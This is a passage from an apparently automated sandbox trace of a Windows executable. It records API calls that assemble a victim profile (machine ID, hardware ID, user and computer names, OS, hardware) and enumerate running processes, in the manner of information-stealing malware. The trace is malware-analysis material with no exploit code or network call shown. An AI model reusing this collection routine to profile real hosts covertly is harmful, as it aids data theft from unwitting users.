lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]"
[0054.764] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n"
[0054.764] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x508
[0054.777] Process32First (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
[0054.777] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x68, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
[0054.778] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- "
[0054.778] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- ", lpString2="System" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System"
[0054.778] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System ["
[0054.778] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da78
[0054.779] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.779] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da58
[0054.779] GetLastError () returned 0x7a
[0054.779] SetLastError (dwErrCode=0x7a)
[0054.779] GetLastError () returned 0x7a
[0054.779] SetLastError (dwErrCode=0x7a)
[0054.779] GetLastError () returned 0x7a
[0054.779] SetLastError (dwErrCode=0x7a)
[0054.779] GetLastError () returned 0x7a
[0054.779] SetLastError (dwErrCode=0x7a)
[0054.779] GetLastError () returned 0x7a
[0054.779] SetLastError (dwErrCode=0x7a)
[0054.779] GetLastError () returned 0x7a
[0054.779] SetLastError (dwErrCode=0x7a)
[0054.779] GetLastError () returned 0x7a
[0054.779] SetLastError (dwErrCode=0x7a)
[0054.779] GetLastError () returned 0x7a
[0054.779] SetLastError (dwErrCode=0x7a)
[0054.779] GetLastError () returned 0x7a
[0054.780] SetLastError (dwErrCode=0x7a)
[0054.780] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.780] GetLastError () returned 0x7a
[0054.780] SetLastError (dwErrCode=0x7a)
[0054.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da58 | out: hHeap=0x670000) returned 1
[0054.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da78 | out: hHeap=0x670000) returned 1
[0054.780] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [", lpString2="4" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4"
[0054.780] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n"
[0054.780] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
[0054.781] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- "
[0054.781] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- ", lpString2="smss.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe"
